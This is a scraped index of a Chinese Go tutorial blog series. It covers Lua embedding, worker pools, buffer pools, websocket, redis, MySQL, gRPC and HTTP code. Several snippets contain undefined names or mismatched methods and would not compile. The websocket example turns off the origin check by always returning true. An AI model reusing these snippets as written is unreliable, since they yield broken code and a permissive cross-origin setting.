base，這邊在 lua array 存取上要注意! 都是由 1 開始喔 x := l.ToInt(1) y := l.ToInt(2) //把回傳值依續傳回去 l.Push(lua.LNumber(x + y)) //這邊決定在 lua 裡面 回傳值數量 return 1 } func main() { L := lua.NewState() defer L.Close() //預載 func 到 lua runtime裡面 L.PreloadModule(\u0026#34;mathmodule\u0026#34;, Loader) if err := L.DoFile(\u0026#34;main.lua\u0026#34;); err != nil { panic(err) } } 以上，需要更完整的說明可以到官網，上面的完整範例也都有在我個人的 github\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day27-golang-use-lua/","summary":"\u003cp\u003e今天來介紹一個比較特別的應用，就是如何在 golang 使用 lua ，這種的應用場景通常會在一個固定流程裡面，但裡面有不同的商業邏輯，用 OOP(Object-oriented programming) 的 pattern 來解釋就是所謂的工廠模式，裡面產生的東西會有不同的邏輯，那些邏輯很適合用 lua 去寫。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day27 如何在 Golang 嵌入 lua"},{"content":"在前面有介紹過了 golang 的重點之一 goroutine ，golang 的設計讓 concurrency 非常容易，但是大家有沒有想過，goroutine 也不是什麼黑科技，最終電腦還是有所謂的 CPU \u0026amp; MEM 上限，所以也就意味著 goroutine 不能無窮無境的開，那今天就來討論 Concurrency Pattern，到底該如何設計。\n接下來，我們假設一個情境，我們需要在某個 http handler ，加入統計 request 相關的方法，但是又不希望它影響這個 api response 的速度，所以我們一定是要用 goroutine 把統計的相關 func ，丟到背景平行處理。就像下面一樣\n//模擬需要統計 reqesut 相關數據的 func Statistic(r *http.Request) { } func main() { http.HandleFunc(\u0026#34;/api/query\u0026#34;, func(w http.ResponseWriter, r *http.Request) { //假設需要統計 request 相關數據，所以丟背景 go Statistic(r) u := \u0026amp;UserInfo{ Name: \u0026#34;syhlion\u0026#34;, Age: 18, } b, err := json.Marshal(u) if err != nil { log.Println(err) return } w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json;charset=UTF-8\u0026#34;) w.WriteHeader(http.StatusOK) w.Write(b) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 但是如果照上面所寫的，如果 http request 一多，是不是 goroutine 就無窮無境的開下去了\u0026hellip;.，那這樣就在比到底是先碰上 port 不夠的問題，還是 CPU \u0026amp; MEM 先被耗盡。最終就是被 OS 層強制關閉 application。\n在這方面上的設計，我個人是有一個原則，『當存取的人數多時，服務可以慢，但不能死』，所以當我們存取人數多時，寧可少收幾個客戶，也不能硬要多收幾個客戶，讓整個系統崩潰。\n接下來我們來構思一下改良策略，首先我們需要一個 worker 派發中心。這時侯就能善用 golang 的特性 channel，運用 channel 當作 quene ，在當配 goroutine，就能做出一個派工的模型。\n依據上圖，我們的實作方式如下\ntype StatisticWorker struct { quene chan *http.Request num int } //統一由這邊做 requset 加入的動作 func (s *StatisticWorker) AddRequest(r *http.Request) (err error) { select { case s.quene \u0026lt;- r: //當quene已滿時，則把 err 丟出， default: err = errors.New(\u0026#34;buffer full\u0026#34;) } return } //實際worker本體 運作邏輯的地方 func (s *StatisticWorker) Statistic() { for r := range s.quene { //處理 request 相關統計 } } //初始化到底要有幾個worker func (s *StatisticWorker) Run() { for i := 0; i \u0026lt; s.num; i++ { go Statistic() } } 這樣子我們就能看到一個完整 worker，可以依你需求去控制最大收 request 的統計 worker。\n完整的使用範例如下\ntype StatisticWorker struct { quene chan *http.Request num int } //統一由這邊做 requset 加入的動作 func (s *StatisticWorker) AddRequest(r *http.Request) (err error) { select { case s.quene \u0026lt;- r: //當quene已滿時，則把 err 丟出， default: err = errors.New(\u0026#34;buffer full\u0026#34;) } return } //實際worker本體 運作邏輯的地方 func (s *StatisticWorker) Statistic() { for r := range s.quene { //處理 request 相關統計 } } //初始化到底要有幾個worker func (s *StatisticWorker) Run() { for i := 0; i \u0026lt; s.num; i++ { go Statistic() } } func main() { sw := \u0026amp;StatisticWorker{ quene: make(chan *http.Request, 1000), num: 100, } go sw.Run() http.HandleFunc(\u0026#34;/api/query\u0026#34;, func(w http.ResponseWriter, r *http.Request) { //假設需要統計 request 相關數據，所以丟背景 //這邊使用這個非阻塞式的worker err := sw.Add(r) if err != nil { log.Println(err) return } u := \u0026amp;UserInfo{ Name: \u0026#34;syhlion\u0026#34;, Age: 18, } b, err := json.Marshal(u) if err != nil { log.Println(err) return } w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json;charset=UTF-8\u0026#34;) w.WriteHeader(http.StatusOK) w.Write(b) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } ","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day26-golang-concurrency-pattern/","summary":"\u003cp\u003e在前面有介紹過了 golang 的重點之一 goroutine ，golang 的設計讓 concurrency 非常容易，但是大家有沒有想過，goroutine 也不是什麼黑科技，最終電腦還是有所謂的 CPU \u0026amp; MEM 上限，所以也就意味著 goroutine 不能無窮無境的開，那今天就來討論 Concurrency Pattern，到底該如何設計。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day26 Golang Concurrency Pattern"},{"content":"今天要進到比較理論的章節，也是比較難解說的部分，如果有什麼疑問或寫錯的地方，歡迎留言指教我。\n在這邊大家一定會有疑問？ 什麼是 buffer pool ，它有下面優點\n減少 garbage collector (GC) 的負擔 可以減少程式不斷像 OS 要記憶體區塊 已使用情境來說，我覺得類似聊天室的應用，需要大量高頻的接收 message ，其實就很適合使用 buffer pool ，畢竟你總不可能有 client 送一個 message 進來 server，就重劃一個記憶體空間給它，處理完就把那塊空間 gc 掉，這樣其實是很吃 cpu 資源的。\n下面是一個沒有使用 buffer pool的一個 socket 應用流程圖\n如果改成使用 buufer pool 會大概像下面這樣，由圖可以看到，socket client，不像上圖一樣，只要有訊息進來就自己 new 4kb 的空間，改由另一個 buffer pool 去控制，所以當 socket client 需要用時，則向此 buffer pool 取 4kb，用完的時侯，再把 4kb 還回來，反覆利用，避免不斷造成 garbage collector (GC) 問題。\n下面用一個簡單的範例來說明如何實作\ntype BufferPool struct { c chan *bytes.Buffer } //預劃 buffer pool 空間 func NewBufferPool(size int) (bp *BufferPool) { return \u0026amp;SizedBufferPool{ c: make(chan *bytes.Buffer, size), } } //這邊是拿取一個新的 buffer func (bp *BufferPool) Get() (b *bytes.Buffer) { select { case b = \u0026lt;-bp.c: //看看 buffer pool 如果有空閑的 buffer 則使用已經建構過的 buffer default: //如果當下沒有空閑的 buffer 則重新建構一個出來 b = bytes.NewBuffer(make([]byte, 0, bp.a)) } return } //把用完的 buffer 放回 pool 裡面 func (bp *BufferPool) Put(b *bytes.Buffer) { b.Reset() // 看 buffer pool 空間是否已滿，如果已滿則丟棄掉此 buffer select { case bp.c \u0026lt;- b: default: //放不進去 buffer pool 代表 已滿，則丟掉此 buffer } } 上面範例可以看到，這是運用到 golang select \u0026amp; channel 的特性，把 channel 當作 buffer pool，用 select 當作控制 buufer pool 的閘道。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day25-golang-design-buffer-pool/","summary":"\u003cp\u003e今天要進到比較理論的章節，也是比較難解說的部分，如果有什麼疑問或寫錯的地方，歡迎留言指教我。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day25 Golang 如何設計一個 buffer pool"},{"content":"今天要來介紹，如何用 golang 做一個 webosocket server 的相關應用。我個人沒有使用 golang 原生的 webscoket，而是用我前面一直有介紹到的 gorilla 團隊做的 gorilla/websocket， 他一樣有符合我的原則，而且沒有太多的依賴，非常適合拿來當個應用的基礎 package 。\ngorilla/websocket 在開始介紹如何寫 websocket 之前，我們還是簡單科普一下 websocket 到底是什麼？\nWebSocket是一種在單個TCP連接上進行全雙工通訊的協定。WebSocket通訊協定於2011年被IETF定為標準RFC 6455，並由RFC7936補充規範。WebSocket API也被W3C定為標準。 WebSocket使得用戶端和伺服器之間的資料交換變得更加簡單，允許伺服器端主動向用戶端推播資料。在WebSocket API中，瀏覽器和伺服器只需要完成一次交握，兩者之間就直接可以建立永續性的連接，並進行雙向資料傳輸。\n由 wiki 摘錄上面的段話，可以把它想像成類似 socket 協定的東西，只是 websocket 是基於 http 之上的協定，但兩者最終都還是 TCP 之上的東西。運用這個特性，大家在 web 上想要實現即時的推播，就不需要使用輪詢等相關技術，減少 http request 相關檔頭肥大的問題。 剩下更詳細的介紹就請到 wiki 閱讀了。\n接下來我們來介紹，如何運用 gorilla/websocket 寫一個簡單的 client / server 的應用\n在開發之前，請記得下\ngo get github.com/gorilla/websocket\n才有辦法執行下面範例，以及對應開發需求喔\nwebsocket server func main() { upgrader := \u0026amp;websocket.Upgrader{ //如果有 cross domain 的需求，可加入這個，不檢查 cross domain CheckOrigin: func(r *http.Request) bool { return true }, } http.HandleFunc(\u0026#34;/echo\u0026#34;, func(w http.ResponseWriter, r *http.Request) { c, err := upgrader.Upgrade(w, r, nil) if err != nil { log.Println(\u0026#34;upgrade:\u0026#34;, err) return } defer func() { log.Println(\u0026#34;disconnect !!\u0026#34;) c.Close() }() for { mtype, msg, err := c.ReadMessage() if err != nil { log.Println(\u0026#34;read:\u0026#34;, err) break } log.Printf(\u0026#34;receive: %s\\n\u0026#34;, msg) err = c.WriteMessage(mtype, msg) if err != nil { log.Println(\u0026#34;write:\u0026#34;, err) break } } }) log.Println(\u0026#34;server start at :8899\u0026#34;) log.Fatal(http.ListenAndServe(\u0026#34;:8899\u0026#34;, nil)) } websocket client func main() { c, _, err := websocket.DefaultDialer.Dial(\u0026#34;ws://127.0.0.1:8899/echo\u0026#34;, nil) if err != nil { log.Fatal(\u0026#34;dial:\u0026#34;, err) } defer c.Close() err = c.WriteMessage(websocket.TextMessage, []byte(\u0026#34;hello ithome30day\u0026#34;)) if err != nil { log.Println(err) return } _, msg, err := c.ReadMessage() if err != nil { log.Println(\u0026#34;read:\u0026#34;, err) return } log.Printf(\u0026#34;receive: %s\\n\u0026#34;, msg) } 接下來只要依序啟動 server \u0026amp; client ，就可以開到 client 對 server 送了 hello ithome30day，並且回覆相同字串給 client。完整範例在我的 github，載下來就可以直接執行。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day24-golang-build-websocket-server/","summary":"\u003cp\u003e今天要來介紹，如何用 golang 做一個 webosocket server 的相關應用。我個人沒有使用 golang 原生的 webscoket，而是用我前面一直有介紹到的 gorilla 團隊做的 \u003ca href=\"https://github.com/gorilla/websocket\"\u003egorilla/websocket\u003c/a\u003e，\n他一樣有符合我的原則，而且沒有太多的依賴，非常適合拿來當個應用的基礎 package 。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day24 Golang 如何建構一個 websocket server"},{"content":"今天要進入到，web屆，講到快取一定會提到的 redis 。 redis 真的是一種通用武器，不管你後端用什麼語言，還真沒看過沒人不會用 redis ，那當然我們就要介紹一下 redis 的基礎使用。\ngomodule/redigo 這個套件，是我從寫 go 以來，只要是用碰到 redis 的相關應用，我一定會使用的第三方套件，它的主要維護者 Gary Burd，也是我前幾天介紹的 gorilla/mux的 gorilla 團隊另一個套件 gorilla/websocket 主要貢獻者，這個套件後面章節會介紹，我們接下來介紹他的基礎使用方式。\n建構 connection pool func main() { pool := \u0026amp;redis.Pool{ // 連線的 callback 定義 Dial: func() (redis.Conn, error) { //建構一條連線 c, err := redis.Dial(\u0026#34;tcp\u0026#34;, server) if err != nil { return nil, err } //在這邊可以做連線池初始化 選擇 redis db的動作 if _, err := c.Do(\u0026#34;SELECT\u0026#34;, db); err != nil { c.Close() return nil, err } return c, nil }, //定期對 redis server 做 ping/pong 測試 TestOnBorrow: func(c redis.Conn, t time.Time) error { if time.Since(t) \u0026lt; time.Minute { return nil } _, err := c.Do(\u0026#34;PING\u0026#34;) return err }, } } 使用連線 func main() { pool := \u0026amp;redis.Pool{ // 連線的 callback 定義 Dial: func() (redis.Conn, error) { //建構一條連線 c, err := redis.Dial(\u0026#34;tcp\u0026#34;, server) if err != nil { return nil, err } //在這邊可以做連線池初始化 選擇 redis db的動作 if _, err := c.Do(\u0026#34;SELECT\u0026#34;, db); err != nil { c.Close() return nil, err } return c, nil }, //定期對 redis server 做 ping/pong 測試 TestOnBorrow: func(c redis.Conn, t time.Time) error { if time.Since(t) \u0026lt; time.Minute { return nil } _, err := c.Do(\u0026#34;PING\u0026#34;) return err }, } //這邊要非常注意，redis用完連線，請一定要做close的動作，否則有機會造成 memory leak // close完的連線，會回到 connection pool conn := pool.Get() defer conn.Close() var value1 int var value2 string //這是package 提供的 helper reply, err := redis.Values(conn.Do(\u0026#34;MGET\u0026#34;, \u0026#34;key1\u0026#34;, \u0026#34;key2\u0026#34;)) if err != nil { // handle error } //這是package提供的helper 幫助可以scan 相關數值 if _, err := redis.Scan(reply, \u0026amp;value1, \u0026amp;value2); err != nil { // handle error } } 上面範例只有一個重點，請大家多多使用 redigo 提供的 connection pool，可以幫助你控管連線，而且也要記得每次使用完 conn ，也都要記得做 close，釋放連線。\npub/sub 在 redis 裡面，如果善用這個功能，就可以做到 event trigger 這個模式，而不是透過傳統輪詢的方式，來關注你的服務狀態是否已經改變。後面章節，會有一篇分享，我運用 redis 在架構面的設計。\nfunc main() { pool := \u0026amp;redis.Pool{ // 連線的 callback 定義 Dial: func() (redis.Conn, error) { //建構一條連線 c, err := redis.Dial(\u0026#34;tcp\u0026#34;, server) if err != nil { return nil, err } //在這邊可以做連線池初始化 選擇 redis db的動作 if _, err := c.Do(\u0026#34;SELECT\u0026#34;, db); err != nil { c.Close() return nil, err } return c, nil }, //定期對 redis server 做 ping/pong 測試 TestOnBorrow: func(c redis.Conn, t time.Time) error { if time.Since(t) \u0026lt; time.Minute { return nil } _, err := c.Do(\u0026#34;PING\u0026#34;) return err }, } //這邊要非常注意，redis用完連線，請一定要做close的動作，否則有機會造成 memory leak // close完的連線，會回到 connection pool conn := pool.Get() defer conn.Close() //這邊運用 pub/sub helper psc := redis.PubSubConn{Conn: conn} psc.Subscribe(\u0026#34;example\u0026#34;) for { switch v := psc.Receive().(type) { case redis.Message: fmt.Printf(\u0026#34;%s: message: %s\\n\u0026#34;, v.Channel, v.Data) case redis.Subscription: fmt.Printf(\u0026#34;%s: %s %d\\n\u0026#34;, v.Channel, v.Kind, v.Count) case error: return v } } } 這邊只是做基礎的 redis 應用介紹，需要更多說明，請到官方文件\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day23-golang-use-redis/","summary":"\u003cp\u003e今天要進入到，web屆，講到快取一定會提到的 redis 。 redis 真的是一種通用武器，不管你後端用什麼語言，還真沒看過沒人不會用 redis ，那當然我們就要介紹一下 redis 的基礎使用。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day23 Golang 如何使用 redis"},{"content":"再來我們來介紹，如果要做 web 相關應用服務，免不了一定有 database 相關需求，我們就以 mysql 當做例子，作為今天主題\nmysql golang 其實在 database 的存取上，他設計了一個 sql 抽象介面叫做 database/sql，接下來只要有不同人的遵照這個 interface 分開去實作 mysql、sqlite \u0026hellip; 等等，這是一個很棒的設計，如果未來你有測試或是抽換需求，其實只要更新 driver ，但完全不需要更動你的程式相關地方\n在這邊簡單介紹一下 golang mysql driver ，最知名的應該是這套 go-sql-driver/mysql\n先從連線做起\nimport \u0026#34;database/sql\u0026#34; import _ \u0026#34;github.com/go-sql-driver/mysql\u0026#34; //完整的資料格式連線如下 //[username[:password]@][protocol[(address)]]/dbname[?param1=value1\u0026amp;...\u0026amp;paramN=valueN] db, err := sql.Open(\u0026#34;mysql\u0026#34;, \u0026#34;user:password@/dbname\u0026#34;) 再來如果要執行寫入\nresult, err := db.Exec( \u0026#34;INSERT INTO user_info (name, age) VALUES (?, ?)\u0026#34;, \u0026#34;syhlion\u0026#34;, 18, ) 執行查詢(單筆)\nvar age int row := db.QueryRow(\u0026#34;SELECT age FROM user_info WHERE name = ?\u0026#34;,\u0026#34;syhlion\u0026#34;) err := row.Scan(\u0026amp;age) 執行查詢(多筆)\nrows, err := db.Query(\u0026#34;SELECT name FROM user_info WHERE age \u0026gt; ?\u0026#34;, 16) if err != nil { log.Fatal(err) } //切記用完都要做 Close defer rows.Close() for rows.Next() { var name string if err := rows.Scan(\u0026amp;name); err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;%s is %d\\n\u0026#34;, name, age) } if err := rows.Err(); err != nil { log.Fatal(err) } 如果要 transcation\ntx, err := db.Begin() if err != nil { return } defer func(){ //如果最後有錯誤，則執行 rollback if err != nil { tx.RollBack() } } ... ... ... tx.Commit() 在這邊我提供了一個，我自己二度包裝過的套件 syhlion/sqlwrapper，基本上都跟上面所提供的方法或使用方式一模一樣，只是我稍微包裝過有添加了一些 log、監控、debug\u0026hellip; 相關功能\u0026lt; ，用法如下\nfunc main(){ db, err := sql.Open(\u0026#34;xxx\u0026#34;,\u0026#34;xxx\u0026#34;) if err != nil { return nil, err } //這邊第二參數為是否開啟 debug 模式，如為 true 則強制開啟 sql log模式 //第三個參數為如果sql 執行速度慢於多少時間，則會印出該筆 sql 的 log db := WrapperDB(db,true,1*time.Second) // it log [sql] select * from member where id = ? 1 2s rs,err:=db.Exec(\u0026#34;select * from member where id = ?\u0026#34;,1) if err != nil { return } } 印出的 log 樣子如下\n{ \u0026#34;args\u0026#34;: [ \u0026#34;syhlion\u0026#34;, 18 ], \u0026#34;ip\u0026#34;: \u0026#34;172.18.0.12\u0026#34;, \u0026#34;level\u0026#34;: \u0026#34;debug\u0026#34;, \u0026#34;msg\u0026#34;: \u0026#34;db query\u0026#34;, \u0026#34;name\u0026#34;: \u0026#34;syhlion/sqlwrapper\u0026#34;, \u0026#34;sql\u0026#34;: \u0026#34;SELECT * FROM user_info WHERE name = ? AND age = ?\u0026#34;, \u0026#34;time\u0026#34;: \u0026#34;2018-11-01T16:55:00+08:00\u0026#34;, \u0026#34;use-time\u0026#34;: \u0026#34;5.7768ms\u0026#34; } 會有這樣的包裝的理念是因為，方便工程師在開發期時 debug ，確認自己的 sql 有正確執行、也方便上線後監控每句 sql 的執行速度。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day22-golang-use-mysql/","summary":"\u003cp\u003e再來我們來介紹，如果要做 web 相關應用服務，免不了一定有 database 相關需求，我們就以 mysql 當做例子，作為今天主題\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day22 Golang 如何使用 mysql"},{"content":"我們今天來介紹，一個新的 protocal grpc，它是基於 protobuf 這個由 google 推出來，號稱比 json 更方便、更快速、更簡短的一種溝通格式。\ngrpc 其實重點很簡單，就是你定義出來的東西，不只代表格式，也代表你伺服器的接口，所以不管在 client 端或 server 端，只要遵照這個 grpc 格式下去實作，api 就接起來，也省去之前用 restful api ，server 端要寫一堆 router ，也不用另外寫文件，剛好符合一句話 『程式碼即文件』，大家遵照 grpc 的契約各自去實作。\n再開始介紹之前，有一些基礎工具要先安裝，首先執行下面指令，安裝 grpc\ngo get -u google.golang.org/grpc\n再來安裝\ngo get -u github.com/golang/protobuf/protoc-gen-go\ngrpc 宣告 接下來就能來介紹正題，我們來介紹一下，基礎的 grpc 格式宣告\n//這邊使用 proto3 的格式 也就是 protobuf 第三版的意思，要注意，第二版跟第三版有一些語法上的差異喔 syntax = \u0026#34;proto3\u0026#34;; package example; //定義了一個 EchoServer service EchoServer { rpc Echo (EchoRequest) returns(EchoReply){} } //定義了 Echo Server EchoRequest message EchoRequest { string message = 1; } //定義了 Echo Response //這裡多回傳了一個 叫做 unixtime message EchoReply { string message = 1; int64 unixtime = 2; } 上面這樣就是一個簡易的 grpc 的宣告，更多型別上可以參閱官網\n接下來，在你撰寫這隻檔案的地方，執行\nprotoc --go_out=plugins=grpc:. *.proto\n就會看到產生出一個另一個有帶 pb.go 的檔案，接下來我們分別來實作 client 、server 端\ngrpc client func main() { conn, err := grpc.Dial(\u0026#34;localhost:9999\u0026#34;, grpc.WithInsecure()) if err != nil { log.Fatalf(\u0026#34;連線失敗：%v\u0026#34;, err) } defer conn.Close() c := pb.NewEchoClient(conn) r, err := c.Echo(context.Background(), \u0026amp;pb.EchoRequest{Msg: \u0026#34;HI HI HI HI\u0026#34;}) if err != nil { log.Fatalf(\u0026#34;無法執行 Plus 函式：%v\u0026#34;, err) } log.Printf(\u0026#34;回傳結果：%s , 時間:%d\u0026#34;, r.Msg, r.Unixtime) } grpc server type EchoServer struct{} func (e *EchoServer) Echo(ctx context.Context, req *pb.EchoRequest) (resp *pb.EchoReply, err error) { log.Printf(\u0026#34;receive client request, client send:%s\\n\u0026#34;, req.Msg) return \u0026amp;pb.EchoReply{ Msg: req.Msg, Unixtime: time.Now().Unix(), }, nil } func main() { apiListener, err := net.Listen(\u0026#34;tcp\u0026#34;, \u0026#34;:9999\u0026#34;) if err != nil { log.Println(err) return } // 註冊 grpc es := \u0026amp;EchoServer{} grpc := grpc.NewServer() //pb.Re(grpc, es) pb.RegisterEchoServer(grpc, es) reflection.Register(grpc) if err := grpc.Serve(apiListener); err != nil { log.Fatal(\u0026#34; grpc.Serve Error: \u0026#34;, err) return } } 最後只要先啟動 grpc server，再執行 grpc client ，就能看到有相對應的訊息連接上了。\n上述範例，全部原始碼都放在 github，下載回來 go build 過，即可執行\n如有碰上 port 衝突，請自行修改可以執行的 port。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day21-golang-use-protocal-grpc/","summary":"\u003cp\u003e我們今天來介紹，一個新的 protocal grpc，它是基於 protobuf 這個由 google 推出來，號稱比 json 更方便、更快速、更簡短的一種溝通格式。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day21 Golang 如何使用 grpc"},{"content":"上一章介紹到，如何建構 http server，那這篇就來教大家如何使用 http reqeust，一樣分兩個部分，一個是標準的函式庫用法，一個是小弟自己在包裝過方便使用跟資源控管的函式庫。\nnet/http 原生 package 有提幾個簡易就能輕易做到 http 的 GET\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { res, err := http.Get(\u0026#34;https://blog.syhlion.tw/sitemap.xml\u0026#34;) if err != nil { log.Fatal(err) } defer res.Body.Close() sitemap, err := ioutil.ReadAll(res.Body) if err != nil { log.Fatal(err) } fmt.Printf(\u0026#34;%s\u0026#34;, sitemap) } 用之前介紹過的 ioutil.ReadAll 去讀 res.Body ，這樣就能輕鬆取回 http response\n這邊要注意一下，res.Body 讀取完，要記得 Close，不然會有 memory leak 等相關問題\n上面的方法有另一種形式變形的用法\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;io/ioutil\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { client := \u0026amp;http.Client{} //這邊可以任意變換 http method GET、POST、PUT、DELETE req, err := http.NewRequest(\u0026#34;GET\u0026#34;, \u0026#34;https://blog.syhlion.tw/sitemap.xml\u0026#34;, nil) if err != nil { log.Println(err) return } req.Header.Add(\u0026#34;If-None-Match\u0026#34;, `W/\u0026#34;wyzzy\u0026#34;`) resp, err := client.Do(req) if err != nil { log.Println(err) return } defer resp.Body.Close() sitemap, err := ioutil.ReadAll(resp.Body) if err != nil { log.Fatal(err) return } fmt.Printf(\u0026#34;%s\u0026#34;, sitemap) } github.com/syhlion/greq 這是我因應業務需求，需要有大量可以存取各式 rest api 並且又要控制好併發數量，而開發出來的套件，使用方式如下\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/syhlion/greq\u0026#34; \u0026#34;github.com/syhlion/requestwork.v2\u0026#34; \u0026#34;log\u0026#34; ) func main() { //need import https://github.com/syhlion/requestwork.v2 // 這是最高同時併發的控制，是 greq 的核心套件 worker := requestwork.New(50) client := greq.New(worker, 15*time.Second) //GET data, httpstatus, err := client.Get(\u0026#34;https://tw.yahoo.com\u0026#34;, nil) if err != nil { log.Println(err) return } fmt.Printf(\u0026#34;data:%s ,httpstatus:%d\u0026#34;, data, httpstatus) //POST v := url.Values{} //post form data v.Add(\u0026#34;data\u0026#34;, string(data)) data, httpstatus, err := client.Post(\u0026#34;https://tw.yahoo.com\u0026#34;, bytes.NewBufferString(v.Encode())) if err != nil { log.Println(err) return } fmt.Printf(\u0026#34;data:%s ,httpstatus:%d\u0026#34;, data, httpstatus) } 套件上已經有在內部做釋放資源 Close 的動作，所以不需要像原生的套件一樣，需要特地把 Body.Close()。\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day20-golang-http-request/","summary":"\u003cp\u003e上一章介紹到，如何建構 http server，那這篇就來教大家如何使用 http reqeust，一樣分兩個部分，一個是標準的函式庫用法，一個是小弟自己在包裝過方便使用跟資源控管的函式庫。\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day20 Golang 如何使用 http request"},{"content":"再來要寫一個簡單的小應用了，在這邊會用兩個 package 來介紹，一個是 golang standard lib，一個是我個人很常用的 gorilla 這個團隊推出的 mux 套件，先來介紹 standard 版的\nnet/http 這是一個 golang 標準內建的 http package，這要如何正確使用呢？\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/ping\u0026#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Hello World\u0026#34;) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 此範例，無法直接在 playground 執行，故不提供執行連結\n由上面看到，這個範例簡單，就能透過瀏覽器，在這個範例所在的 ip ex http://{ip}/ping ，就能看到一個 pong 字串。\n那如果要輸出 json 呢？ 其實也很簡單如下\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) type UserInfo struct { Name string `json:\u0026#34;name\u0026#34;` Age int `json:\u0026#34;age\u0026#34;` } func main() { http.HandleFunc(\u0026#34;/api/query\u0026#34;, func(w http.ResponseWriter, r *http.Request) { u := \u0026amp;UserInfo{ Name: \u0026#34;syhlion\u0026#34;, Age: 18, } b, err := json.Marshal(u) if err != nil { log.Println(err) return } w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json;charset=UTF-8\u0026#34;) w.WriteHeader(http.StatusOK) w.Write(b) }) log.Fatal(http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil)) } 由上面可以看到，只要存取 http://{ip}/api/query ，就能得到下面的 json 的 response\n{ name:\u0026#34;syhlion\u0026#34;, age:18 } github.com/gorilla/mux 再來介紹的是我個人很喜歡用的第三方套件 mux ，我喜歡的原因是他提供的 api ，可以跟原生的參數完全相容，沒有太多多餘的包裝，但又有很多方便寫 router 的方法\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/gorilla/mux\u0026#34; ) func main() { r := mux.NewRouter() r.HandleFunc(\u0026#34;/api/query/{name}\u0026#34;, func(w http.ResponseWriter, r *http.Request) { vars = mux.Vars(r) //這邊就把 name 帶入 UserInfo u := \u0026amp;UserInfo{ Name: vars[\u0026#34;name\u0026#34;], Age: 18, } b, err := json.Marshal(u) if err != nil { log.Println(err) return } w.Header().Set(\u0026#34;Content-Type\u0026#34;, \u0026#34;application/json;charset=UTF-8\u0026#34;) w.WriteHeader(http.StatusOK) w.Write(b) }) //聽8000 port log.Fatal(http.ListenAndServe(\u0026#34;:8000\u0026#34;, r)) } 由上面可以看到 mux.Vars ，可以自動幫你 parse router 裡面設定的 {name}，它有支援簡易的正則判斷，詳細可以參閱官網\n","permalink":"https://blog.syhlion.tw/2018/11/2019-10th-ithome30day-day19-golang-build-http-server/","summary":"\u003cp\u003e再來要寫一個簡單的小應用了，在這邊會用兩個 package 來介紹，一個是 golang standard lib，一個是我個人很常用的 gorilla 這個團隊推出的 mux 套件，先來介紹 standard 版的\u003c/p\u003e","title":"Go劍復國-30天導入Golang Day19 如何用 Golang 寫一個簡易的 http server"},{"content":"進入到常用函式庫第三天，也是最後一天介紹一些 stdlib 的應用，後續章節還會有一些第三方 lib 的介紹\nencoding/json 我想在這個萬物皆是 web 的時代，json 是一個不可或缺的格式，那就來來看看，怎麼使用 json\npackage main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; ) type UserInfo struct { Name string `json:\u0026#34;name\u0026#34;` Age int `json:\u0026#34;age\u0026#34;` } func main() { var jsonString string jsonString = `{\u0026#34;name\u0026#34;:\u0026#34;syhlion\u0026#34;,\u0026#34;age\u0026#34;:5}` //把 json unmarshal 進去 struct u := \u0026amp;UserInfo{} err := json.Unmarshal([]byte(jsonString), u) if err != nil { fmt.Println(err) return } fmt.Printf(\u0026#34;name:%s, age:%d\\n\u0026#34;, u.Name, u.Age) //把 struct 轉成 json 字串 b, err := json.Marshal(u) if err != nil { fmt.Println(err) return } fmt.Println(string(b)) } https://play.golang.org/p/F_Rx5uETe2c\n這邊有用到一個 golang 很特殊的小功能叫做 struct tags，就是在上面範例中 UserInfo 每個 field 後面的 json tag，需要更多的說明可以參閱官網\nregexp 正則表達式，也是各種應用中不可或缺的一個基礎功能。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;regexp\u0026#34; ) func main() { re := regexp.MustCompile(`^([0-9]{3})(.*)`) m := re.MatchString(\u0026#34;2345Abc\u0026#34;) fmt.Println(\u0026#34;234Abc is match patter ? \u0026#34;, m) ss := re.FindStringSubmatch(\u0026#34;2345Abc\u0026#34;) fmt.Println(\u0026#34;sub match array \u0026#34;, ss) } https://play.golang.org/p/AE4ig9mJv5n\n在這邊要注意一下，golang 的正則表達式是基於 google 開發的 re2 來實現的，因為這是為了解決目前現有的正則式演算法，時間複雜並無固定的保證，所開發出來的。所以一些常見的遞迴搜尋在 re2 